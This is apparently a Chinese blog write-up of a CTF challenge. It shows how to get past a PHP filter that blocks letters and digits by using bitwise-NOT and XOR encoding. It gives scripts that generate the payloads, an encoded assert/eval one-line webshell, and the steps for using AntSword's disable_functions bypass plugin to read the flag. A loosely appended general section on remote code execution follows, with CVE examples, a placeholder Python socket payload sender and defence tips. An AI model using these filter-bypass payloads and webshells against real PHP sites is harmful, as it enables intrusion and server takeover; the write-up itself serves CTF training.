【[极客大挑战 2019]RCE ME 1】

题目

在这里插入图片描述

代码分析

过滤了大小写字母和数字,传入函数后可以执行,我们先尝试传入phpinbfo,再尝试传入一句话木马。

传入phpinfo

我们的目标是传入phpinfo执行
有两种方式可以绕过
1、取反绕过:取反后url编码
取反后,url解码会解成不可打印字符,绕过过滤

<?php
$a = 'phpinfo';
$b = urlencode(~$a);
$c = '(~'.$b.')();';
echo $c;
?>

结果:(~%8F%97%8F%96%91%99%90)();
2、异或绕过
结果:(%22%80%80%80%80%80%80%80%22^%22%f0%e8%f0%e9%ee%e6%ef%22)();

payload:?code=(~%8F%97%8F%96%91%99%90)();
get传入后得到phpinfo界面在这里插入图片描述
搜索flag无果
发现禁用的函数
在这里插入图片描述

传入一句话木马

接下来我们尝试构造一句话木马
eval 属于PHP语法构造的一部分,eval()是一个语言构造器,不能被可变函数调用,所以不能通过 变量函数的形式来调用
assert不可以执行’echo 1’等命令
我们使用的一句话木马:(assert)(eval($_POST[“test”]))

取反:

<?php

//(assert)(eval($_POST['g']))
$a = 'assert';
$b = urlencode(~$a);
$c = '(eval($_POST[g]))';
$d = urlencode(~$c);
$e = '(~'.$b.')'.'(~'.$d.')';
echo $e;
?>

结果:
(%9E%8C%8C%9A%8D%8B)(%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%98%A2%D6%D6)

用蚁剑连接

在这里插入图片描述
发现flag但是无法查看,需要用插件绕过

使用插件读取flag

利用蚁剑中自带的插件:绕过diasble_functions
(这个插件只能在linux中使用)
在这里插入图片描述
在这里插入图片描述
点击开始,然后readflag
在这里插入图片描述

### 关于远程代码执行漏洞及其利用 #### 远程代码执行的概念 远程代码执行(Remote Code Execution, RCE)是一种安全漏洞,允许攻击者通过网络在目标设备上运行任意代码。这种类型的漏洞通常存在于应用程序、操作系统或其他软件组件中。一旦被成功利用,RCE 可能会带来严重的后果,例如数据泄露、系统控制权丢失以及进一步的恶意活动。 为了使一段易受攻击的代码能够被利用,该代码必须有足够的上下文来构建一个工具链(gadget chain),即一系列可重用的代码片段,在调用时会产生显著影响[^1]。 #### 实际案例分析 以 CVE-2014-6321 和 MS14-066 为例,这是微软 Schannel 中的一个远程代码执行漏洞。此漏洞源于加密协议实现中的缺陷,可能导致攻击者通过精心设计的数据包触发缓冲区溢出并最终获得远程代码执行权限[^4]。此类问题强调了及时更新补丁的重要性,因为官方已经发布了相应的修复措施。 另一个值得注意的例子涉及三星 Android 设备上的逻辑漏洞滥用情况。具体来说,某些定制服务如 WifiCredService 提供了一个完全可靠的攻击向量,无需绕过沙箱或者克服诸如地址空间布局随机化(ASLR)之类的防护机制即可达成目的[^3]。这表明原始设备制造商(OEM) 的自定义修改往往是安卓生态系统中最薄弱的一环。 #### 利用过程概述 当提到 Metasploit 框架下的 `java_mlet_server` 模块时,可以联想到它如何作为开发人员测试潜在 RCE 场景的一种手段[^2]。尽管这里并未详尽描述整个流程,但从时间戳可以看出当时正准备尝试某种方式去验证是否存在这样的风险。 以下是基于 Python 编写的简单模拟脚本用于演示基本概念而非实际操作: ```python import socket def send_payload(host, port, payload): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: try: s.connect((host, port)) s.sendall(payload.encode()) response = s.recv(1024).decode() print(f"Received {response}") except Exception as e: print(e) if __name__ == "__main__": target_host = "example.com" target_port = 9999 malicious_input = "exploit_command_here" send_payload(target_host, target_port, malicious_input) ``` 上述代码仅为教学用途展示发送特定负载至指定端口的过程,并不构成任何非法行为指导。 #### 防护建议 针对防范 RCE 攻击可以从以下几个方面入手: - 定期安装厂商发布的最新安全补丁; - 对输入参数进行全面校验过滤处理; - 减少不必要的外部暴露接口和服务数量; - 使用现代编译器选项启用各种保护功能比如 ASLR 或栈金丝雀(Stack Canaries);
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值